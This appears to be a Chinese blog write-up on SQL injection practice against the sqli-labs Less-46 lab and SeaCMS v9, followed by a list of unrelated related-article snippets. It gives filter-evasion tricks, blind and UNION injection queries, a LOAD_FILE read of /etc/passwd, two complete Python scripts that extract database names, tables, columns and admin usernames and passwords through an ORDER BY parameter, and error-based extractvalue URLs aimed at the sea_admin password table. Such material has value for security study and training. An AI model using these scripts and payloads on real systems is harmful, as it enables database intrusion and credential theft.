seacmsv9注入管理员账号密码+orderby+limi
1:mysql默认存储引擎innoDB携带的表
1,mysql.innodb_table_stats
2,mysql.innodb_index_stats
SELECT table_name FROM mysql.innodb_table_stats WHERE database_name = DATABASE();
2: 关键字做处理
- HEX编码:0x696E666F726D6174696F6E5F736368656D61
- 字符串:concat('informa','tion_scheam')
- 大小写:INforMation_Scheam
3:时间盲注
SELECT IF(ASCII(SUBSTRING(DATABASE(), 1, 1)) = 97, SLEEP(5), 0);
如果条件为真,数据库将延迟5秒才返回结果,否则立即返回。通过调整不同的字符和条件,你可以逐渐拼凑出表名(可使用python脚本破解)
4:布尔盲注(python脚本)
SELECT CASE WHEN (SELECT SUBSTRING(mysql.innodb_table_stats, 1, 1) FROM your_table LIMIT 1) = 'a' THEN 1/0 ELSE 1 END;
5:利用联合查询
SELECT id, name FROM users WHERE id = 1 UNION SELECT table_name, '' FROM your_table;
6:文件读取:
某些数据库允许从文件系统中读取文件内容,假设你想读取 /etc/passwd 文件的内容:
SELECT LOAD_FILE('/etc/passwd');
7:以靶场第46关为例子
用Boolean盲注:
-
import requests -
from lxml import html -
def get_id_one(URL,paload): -
res = requests.get(url=URL,params=paload) -
tree = html.fromstring(res.content) -
id_one = tree.xpath('//table//tr[1]/td[1]/text()')[0].strip() -
return id_one -
def get_database(URL): -
# 获取数据库名称 -
s = "" -
for i in range(1,10): -
low = 32 -
hight = 128 -
mid = (low+hight)//2 -
while(hight > low): -
paload = {"sort": f"if((greatest(ascii(substr(database(),{i},1)),{mid})={mid}),id,username) -- "}#相当于第一个字符<={mid}条件判断为真 -
id_one = get_id_one(URL,paload) -
if id_one=="1": -
hight = mid -
mid = (low + hight) // 2 -
else: -
low = mid +1 -
mid = (low + hight) // 2 -
s+=chr(mid) -
print("数据库名称:"+s) -
def get_table(URL): -
# 获取表名称 -
s = "" -
for i in range(1,32): -
low = 32 -
hight = 128 -
mid = (low+hight)//2 -
while(hight > low): -
paload = {"sort": f"if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\"security\"),{i},1))>{mid}),id,username) -- "} -
id_one = get_id_one(URL,paload) -
if id_one=="1": -
low = mid +1 -
mid = (low + hight) // 2 -
else: -
hight = mid -
mid = (low + hight) // 2 -
s+=chr(mid) -
print("表的名称:"+s) -
def get_column(URL): -
# 获取管理员的字段名称 -
s = "" -
for i in range(1,32): -
low = 32 -
hight = 128 -
mid = (low+hight)//2 -
while(hight > low): -
paload = {"sort": f"if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\"security\" and table_name=\"users\"),{i},1))>{mid}),id,username) -- "} -
id_one = get_id_one(URL,paload) -
if id_one=="1": -
low = mid +1 -
mid = (low + hight) // 2 -
else: -
hight = mid -
mid = (low + hight) // 2 -
s+=chr(mid) -
print("列的名称:"+s) -
def get_result(URl): -
# 获取用户名和密码信息 -
s = "" -
for i in range(1,32): -
low = 32 -
hight = 128 -
mid = (low+hight)//2 -
while(hight > low): -
paload = {"sort": f"if((ascii(substr((select group_concat(username,0x3e,password) from users),{i},1))>{mid}),id,username) -- "} -
id_one = get_id_one(URL,paload) -
if id_one=="1": -
low = mid +1 -
mid = (low + hight) // 2 -
else: -
hight = mid -
mid = (low + hight) // 2 -
s+=chr(mid) -
print("用户名及密码信息:"+s) -
if __name__ == '__main__': -
URL = "http://localhost/Less-46/" -
# get_database(URL) -
# get_table(URL) -
# get_column(URL) -
get_result(URL)
用时间盲注:
-
import requests -
import datetime -
def get_database(URL): -
# 获取数据库名称 -
s = "" -
for i in range(1,10): -
low = 32 -
hight = 128 -
mid = (low+hight)//2 -
while(hight > low): -
paload = {"sort": f"if((greatest(ascii(substr(database(),{i},1)),{mid})={mid}),sleep(0.2),id) -- "}#相当于第一个字符<={mid}条件判断为真 -
start = datetime.datetime.now() -
res = requests.get(url=URL, params=paload) -
end = datetime.datetime.now() -
if (end - start).seconds >=3: -
hight = mid -
mid = (low + hight) // 2 -
else: -
low = mid +1 -
mid = (low + hight) // 2 -
print(chr(mid),mid) -
s+=chr(mid) -
print("数据库名称:"+s) -
def get_table(URL): -
# 获取表名称 -
s = "" -
for i in range(1,32): -
low = 32 -
hight = 128 -
mid = (low+hight)//2 -
while(hight > low): -
paload = {"sort": f"if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\"security\"),{i},1))>{mid}),sleep(0.2),id) -- "} -
start = datetime.datetime.now() -
res = requests.get(url=URL, params=paload) -
end = datetime.datetime.now() -
if (end - start).seconds >=3: -
low = mid +1 -
mid = (low + hight) // 2 -
else: -
hight = mid -
mid = (low + hight) // 2 -
s+=chr(mid) -
print("表的名称:"+s) -
def get_column(URL): -
# 获取管理员的字段名称 -
s = "" -
for i in range(1,32): -
low = 32 -
hight = 128 -
mid = (low+hight)//2 -
while(hight > low): -
paload = {"sort": f"if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\"security\" and table_name=\"users\"),{i},1))>{mid}),sleep(0.2),id) -- "} -
start = datetime.datetime.now() -
res = requests.get(url=URL, params=paload) -
end = datetime.datetime.now() -
if (end - start).seconds >=3: -
low = mid +1 -
mid = (low + hight) // 2 -
else: -
hight = mid -
mid = (low + hight) // 2 -
s+=chr(mid) -
print("列的名称:"+s) -
def get_result(URl): -
# 获取用户名和密码信息 -
s = "" -
for i in range(1,32): -
low = 32 -
hight = 128 -
mid = (low+hight)//2 -
while(hight > low): -
paload = {"sort": f"if((ascii(substr((select group_concat(username,0x3e,password) from users),{i},1))>{mid}),sleep(0.2),1) -- "} -
start = datetime.datetime.now() -
res = requests.get(url=URL, params=paload) -
end = datetime.datetime.now() -
if (end - start).seconds >=3: -
low = mid +1 -
mid = (low + hight) // 2 -
else: -
hight = mid -
mid = (low + hight) // 2 -
s+=chr(mid) -
print("用户名及密码信息:"+s) -
if __name__ == '__main__': -
URL = "http://localhost/Less-46/" -
# get_database(URL) -
# get_table(URL) -
# get_column(URL) -
get_result(URL)
8:seacmsv9实现报错注入数据:
-
<?php
-
session_start();
-
require_once("../../include/common.php");
-
$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
-
$page = (isset($page) && is_numeric($page)) ? $page : 1;
-
$type = (isset($type) && is_numeric($type)) ? $type : 1;
-
$pCount = 0;
-
$jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
-
//缓存第一页的评论
-
if($page<2)
-
{
-
if(file_exists($jsoncachefile))
-
{
-
$json=LoadFile($jsoncachefile);
-
die($json);
-
}
-
}
-
$h = ReadData($id,$page);
-
$rlist = array();
-
if($page<2)
-
{
-
createTextFile($h,$jsoncachefile);
-
}
-
die($h);
-
function ReadData($id,$page)
-
{
-
global $type,$pCount,$rlist;
-
$ret = array("","",$page,0,10,$type,$id);
-
if($id>0)
-
{
-
$ret[0] = Readmlist($id,$page,$ret[4]);
-
$ret[3] = $pCount;
-
$x = implode(',',$rlist);
-
if(!empty($x))
-
{
-
$ret[1] = Readrlist($x,1,10000);
-
}
-
}
-
$readData = FormatJson($ret);
-
return $readData;
-
}
-
function Readmlist($id,$page,$size)
-
{
-
global $dsql,$type,$pCount,$rlist;
-
$ml=array();
-
if($id>0)
-
{
-
$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
-
$rs = $dsql ->GetOne($sqlCount);
-
$pCount = ceil($rs['dd']/$size);
-
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
-
$dsql->setQuery($sql);
-
$dsql->Execute('commentmlist');
-
while($row=$dsql->GetArray('commentmlist'))
-
{
-
$row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
-
$ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
-
}
-
}
-
$readmlist=join($ml,",");
-
return $readmlist;
-
}
-
function Readrlist($ids,$page,$size)
-
{
-
global $dsql,$type;
-
$rl=array();
-
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
-
$dsql->setQuery($sql);
-
$dsql->Execute('commentrlist');
-
while($row=$dsql->GetArray('commentrlist'))
-
{
-
$rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
-
}
-
$readrlist=join($rl,",");
-
return $readrlist;
-
}
-
function ReadReplyID($gid,$cmid,&$rlist)
-
{
-
global $dsql;
-
if($cmid>0)
-
{
-
if(!in_array($cmid,$rlist))$rlist[]=$cmid;
-
$row = $dsql->GetOne("SELECT reply FROM sea_comment WHERE id=$cmid limit 0,1");
-
if(is_array($row))
-
{
-
$ReplyID = ",".$row['reply'].ReadReplyID($gid,$row['reply'],$rlist);
-
}else
-
{
-
$ReplyID = "";
-
}
-
}else
-
{
-
$ReplyID = "";
-
}
-
return $ReplyID;
-
}
-
function FormatJson($json)
-
{
-
$x = "{\"mlist\":[%0%],\"rlist\":{%1%},\"page\":{\"page\":%2%,\"count\":%3%,\"size\":%4%,\"type\":%5%,\"id\":%6%}}";
-
for($i=6;$i>=0;$i--)
-
{
-
$x=str_replace("%".$i."%",$json[$i],$x);
-
}
-
$formatJson = jsonescape($x);
-
return $formatJson;
-
}
-
function jsonescape($txt)
-
{
-
$jsonescape=str_replace(chr(13),"",str_replace(chr(10),"",json_decode(str_replace("%u","\u",json_encode("".$txt)))));
-
return $jsonescape;
-
}
输入以下sql注入:
http://127.0.0.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`', extractvalue(1, concat_ws( , \, (select user()))),@`'

但输入以下:
http://127.0.0.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`

说明注入失败
相关文章:
seacmsv9注入管理员账号密码+orderby+limi
1:mysql默认存储引擎innoDB携带的表 1,mysql.innodb_table_stats 2,mysql.innodb_index_stats SELECT table_name FROM mysql.innodb_table_stats WHERE database_name DATABASE(); 2: 关键字做处理 HEX编码:0x696E666F726D6174696F6E5F7…...
C#与AI的交互(以DeepSeek为例)
C#与ai的交互 与AI的交互使用的Http请求的方式,通过发送请求,服务器响应ai生成的文本 下面是完整的代码,我这里使用的是Ollama本地部署的deepseek,在联网调用api时,则url会有不同 public class OllamaRequester {[Se…...
面试八股文--数据库基础知识总结(2) MySQL
本文介绍关于MySQL的相关面试知识 一、关系型数据库 1、定义 关系型数据库(Relational Database)是一种基于关系模型的数据库管理系统(DBMS),它将数据存储在表格(表)中,并通过表格…...
Failed to start The PHP FastCGI Process Manager.
报错如下: Job for php-fpm.service failed because the control process exited with error code. See "systemctl status php-fpm.service" and "journalctl -xe" for details. 2月 25 21:49:00 nginx systemd[1]: Starting The PHP FastC…...
软件供应链安全工具链研究系列——RASP自适应威胁免疫平台(上篇)
1.1 基本能力 RASP是一种安全防护技术,运行在程序执行期间,使程序能够自我监控和识别有害的输入和行为。也就是说一个程序如果注入或者引入了RASP技术,那么RASP就和这个程序融为一体,使应用程序具备了自我防护的能力,…...
Spring Boot集成MyBatis访问MySQL:从项目搭建到基础数据库查询(基础入门)
Spring Boot集成MyBatis访问MySQL 一、引言 在当今企业级应用开发中,Spring Boot、MyBatis与MySQL的组合凭借其高效性和灵活性,成为构建数据驱动型应用的首选方案。本文将带你从零开始搭建项目,掌握Spring Boot集成MyBatis的基础入门内容。…...
一周学会Flask3 Python Web开发-Jinja2模板继承和include标签使用
锋哥原创的Flask3 Python Web开发 Flask3视频教程: 2025版 Flask3 Python web开发 视频教程(无废话版) 玩命更新中~_哔哩哔哩_bilibili 不管是开发网站还是后台管理系统,我们页面里多多少少有公共的模块。比如博客网站,就有公共的头部&…...
【2025.2.25更新】wordpress免费AI插件,文章内容、图片自动生成、视频自动生成、网站AI客服、批量采集文章,内置deepseek联网满血版
wordpress免费AI插件,文章内容、文章图片、长尾关键词、视频自动生成、网站AI客服、批量采集文章,插件已接入腾讯云大模型知识引擎xDeepSeek,基于腾讯云大模型知识引擎xDeepSeek可联网满血版,插件可实现文章生成、长尾关键词生成、…...
待解决 leetcode71 简化路径 栈的应用
用多种ifelse很不好很复杂容易丢情况 class Solution { public:string simplifyPath(string path) {stack<char> st;string result;int n path.size();while(n > 1 && (path[n-1] / || path[n-1] .)){if(n > 2 && path[n-2] . && pat…...
数据安全_笔记系列09_人工智能(AI)与机器学习(ML)在数据安全中的深度应用
数据安全_笔记系列09_人工智能(AI)与机器学习(ML)在数据安全中的深度应用 人工智能与机器学习技术通过自动化、智能化的数据分析,显著提升了数据分类、威胁检测的精度与效率,尤其在处理非结构化数据、复杂…...
RocketMQ 可观测性最佳实践
RocketMQ 概述 Apache RocketMQ 是一个开源的分布式消息传递和流处理平台,由阿里巴巴团队最初开发并捐赠给 Apache 软件基金会。它主要用于处理大规模消息的发送和接收,支持高吞吐量、可扩展性强且具有高可用性的消息服务。 RocketMQ 的优势有以下几点…...
P9420 [蓝桥杯 2023 国 B] 子 2023
P9420 [蓝桥杯 2023 国 B] 子 2023 题目 分析代码 题目 分析 刚拿到这道题,我大脑简单算了一下,这个值太大了,直观感觉就很难!! 但是,你仔仔细细的一看,先从最简单的第一步入手,再…...
OpenAI开放Deep Research权限,AI智能体大战升级,DeepSeek与Claude迎来新对决
每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗?订阅我们的简报,深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同,从行业内部的深度分析和实用指南中受益。不要错过这个机会,成为AI领…...
学习笔记04——JMM内存模型
一、Java内存模型(JMM)是什么? Java内存模型(Java Memory Model, JMM)是Java多线程编程中共享内存的访问规则,定义了线程如何与主内存(Main Memory)和工作内存(Work Mem…...
将VsCode变得顺手好用(1
目录 设置中文 配置调试功能 提效和增强相关插件 主题和图标相关插件 创建js文件 设置中文 打开【拓展】 输入【Chinese】 下载完成后重启Vs即可变为中文 配置调试功能 在随便一个位置新建一个文件夹,用于放置调试文件以及你未来写的代码,随便命名但…...
Fisher信息矩阵(Fisher Information Matrix,简称FIM)
Fisher信息矩阵简介 Fisher信息矩阵(Fisher Information Matrix,简称FIM)是统计学和信息理论中的一个重要概念,广泛应用于参数估计、统计推断和机器学习领域。它以统计学家罗纳德费希尔(Ronald Fisher)的名…...
Vue2+Three.js加载并展示一个三维模型(提供Gitee源码)
目录 一、案例截图 二、安装Three.js 三、代码实现 四、Gitee源码 一、案例截图 二、安装Three.js npm install three 三、代码实现 模型资源我是放在public文件夹下面的: 完整代码: <template><div><div ref"container&qu…...
Linux红帽:RHCSA认证知识讲解(三)Linux基础指令与Vim编辑器的使用
Linux红帽:RHCSA认证知识讲解(三)Linux基础指令与Vim编辑器的使用 前言一、Linux基础指令二、Linux 文件系统层次结构概念三、通过路径指定文件四、使用命令行工具管理文件五、Vim 的安装方式六、Vim 的操作模式七、红帽建议掌握的 Vim 键和命…...
python读取sqlite温度数据,并画出折线图
需求: 在Windows下请用python画出折线图,x轴是时间,y轴是温度temperature 和体感温度feels_like_temperature 。可以选择县市近1小时,近1天,近1个月的。sqlite文件weather_data.db当前目录下,建表结构如下…...
《论企业集成平台的理解与应用》审题技巧 - 系统架构设计师
企业集成平台的理解与应用——论文写作框架 一、考点概述 本论题“企业集成平台的理解与应用”主要考察的是计算机软件测试工程师对于企业集成平台(EIP)的深入理解以及在实际项目中的应用能力。论题涵盖了以下几个核心内容: 首先ÿ…...
Cesium1.95中高性能加载1500个点
一、基本方式: 图标使用.png比.svg性能要好 <template><div id"cesiumContainer"></div><div class"toolbar"><button id"resetButton">重新生成点</button><span id"countDisplay&qu…...
如何将联系人从 iPhone 转移到 Android
从 iPhone 换到 Android 手机时,你可能需要保留重要的数据,例如通讯录。好在,将通讯录从 iPhone 转移到 Android 手机非常简单,你可以从本文中学习 6 种可靠的方法,确保随时保持连接,不错过任何信息。 第 1…...
Spring AI 入门:Java 开发者的生成式 AI 实践之路
一、Spring AI 简介 在人工智能技术快速迭代的今天,Spring AI 作为 Spring 生态系统的新生力量,正在成为 Java 开发者拥抱生成式 AI 的最佳选择。该框架通过模块化设计实现了与主流 AI 服务(如 OpenAI、Anthropic)的无缝对接&…...
企业如何增强终端安全?
在数字化转型加速的今天,企业的业务运行越来越依赖于终端设备。从员工的笔记本电脑、智能手机,到工厂里的物联网设备、智能传感器,这些终端构成了企业与外部世界连接的 “神经末梢”。然而,随着远程办公的常态化和设备接入的爆炸式…...
【Redis】笔记|第8节|大厂高并发缓存架构实战与优化
缓存架构 代码结构 代码详情 功能点: 多级缓存,先查本地缓存,再查Redis,最后才查数据库热点数据重建逻辑使用分布式锁,二次查询更新缓存采用读写锁提升性能采用Redis的发布订阅机制通知所有实例更新本地缓存适用读多…...
【Linux】Linux 系统默认的目录及作用说明
博主介绍:✌全网粉丝23W,CSDN博客专家、Java领域优质创作者,掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域✌ 技术范围:SpringBoot、SpringCloud、Vue、SSM、HTML、Nodejs、Python、MySQL、PostgreSQL、大数据、物…...
从“安全密码”到测试体系:Gitee Test 赋能关键领域软件质量保障
关键领域软件测试的"安全密码":Gitee Test如何破解行业痛点 在数字化浪潮席卷全球的今天,软件系统已成为国家关键领域的"神经中枢"。从国防军工到能源电力,从金融交易到交通管控,这些关乎国计民生的关键领域…...
AI语音助手的Python实现
引言 语音助手(如小爱同学、Siri)通过语音识别、自然语言处理(NLP)和语音合成技术,为用户提供直观、高效的交互体验。随着人工智能的普及,Python开发者可以利用开源库和AI模型,快速构建自定义语音助手。本文由浅入深,详细介绍如何使用Python开发AI语音助手,涵盖基础功…...
离线语音识别方案分析
随着人工智能技术的不断发展,语音识别技术也得到了广泛的应用,从智能家居到车载系统,语音识别正在改变我们与设备的交互方式。尤其是离线语音识别,由于其在没有网络连接的情况下仍然能提供稳定、准确的语音处理能力,广…...
前端开发者常用网站
Can I use网站:一个查询网页技术兼容性的网站 一个查询网页技术兼容性的网站Can I use:Can I use... Support tables for HTML5, CSS3, etc (查询浏览器对HTML5的支持情况) 权威网站:MDN JavaScript权威网站:JavaScript | MDN...
